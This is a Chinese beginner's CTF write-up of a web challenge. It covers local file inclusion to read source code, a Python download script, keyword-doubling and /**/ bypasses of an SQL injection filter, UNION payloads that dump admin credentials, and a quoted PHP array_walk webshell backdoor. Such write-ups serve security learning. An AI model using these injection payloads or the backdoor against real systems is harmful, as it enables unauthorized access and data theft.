南邮CTF综合题2
南郵CTF綜合題2----小白的第一篇
在自己加別人的WP的幫助下終于完成了這道十分有價值的CTF題目
首先我們看到題目的主體界面
其他的都沒有意義,我們首先看到的是輸入框,很自然的就想到XSS或者SQL,但是發表留言之后彈出非XSS的彈框,這就意味著這道題很大可能是SQL注入
我們先看留言搜索輸入1后
這需要修改USER-AGENT但是我們并不知道這個可以通過驗證的USER-AGENT是什么,所以往下看
看到一個CMS說明
很明顯的提醒了,我們應該先從這里入手
看文章內容,他給了兩個提示
一個是文件:config.php,index.php,passencode.php,say.php
另一個是admin的表結構,這里更加確信是SQL注入了
注意到這里的URL是應該是存在文件包含的(不然給我們文件名稱干什么),我們試一下
file=index.php
果然,文件的內容被都取出來了
我們先把他下載下來,這里我寫了一個腳本
import requests import codecs from bs4 import BeautifulSoupurl="http://cms.nuptzj.cn/about.php?file=" file_list = ["index.php","passencode.php","say.php","config.php","antixss.php","about.php","so.php","antiinject.php","xlcteam.php"]for i in file_list:res = requests.get(url+i)print("dowload "+i)if res.status_code==200:res.encoding="utf8"with codecs.open(i,"w+","utf8") as handle:print("done")text = BeautifulSoup(res.text,"lxml").texthandle.write(text)當然里面的文件有些是后來發現的,我就先放在這里
先看index.php發現其包含了antixss.php應該是預防XSS攻擊的,passencode.php是將用戶輸入的密碼存儲為ASCII碼的形式 say.php是處理用戶留言的,這時就陷入了苦惱
突然發現,我們忘記了一個文件------讀取文件的about.php,下載下來之后發現存在敏感目錄loginxlcteam,看名字好像是登陸的
在URL中訪問,既然是目錄就應該有index.php吧,先試一試
成功進入后臺登陸界面,但是。。。。各種用戶名不存在。
查看源碼存在數據庫操作的php文件還有so.php,這個就是當時搜索的php,先下載下來
驚奇的發現里面包含了antiinject.php這個應該就是防止SQL注入的文件了,下載下載
<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){$info=str_replace($keyword[$i], '',$info); } return $info; } ?>文件過濾了敏感的單詞,但是雙重繞過就好了
喪心病狂的過濾了空格,可以用/**/來繞過
先看一下搜索的源碼
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");這里的$id沒有用''包裹,所以直接注入就好
先看一下回顯
soid=-1/**/UNunionION/**/SELselectECT/**/1,2,3,4發現共四個參數,顯示的是2,3
因為之前已經了解到了表的結構,所以直接注入
soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n得到admin的password
102 117 99 107 114 117 110 116 117之前說過password是ASCII碼存儲的,所以解碼得到admin的密碼
fuckruntu登陸
emmmm一句話木馬,我們先把源碼下載下來
<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>三個參數的數組回調后門
先看一下目錄下面有什么文件
雖然亂碼,但我們還是看到了最后那個flag
看看前面的是什么
直接在文件包含那里面查看
成功拿到flag
?
?
?
?
總結
- 上一篇: 小程序跳转到京东小程序 / 其他小程
- 下一篇: 2021年维修电工证(高级)考试题库 职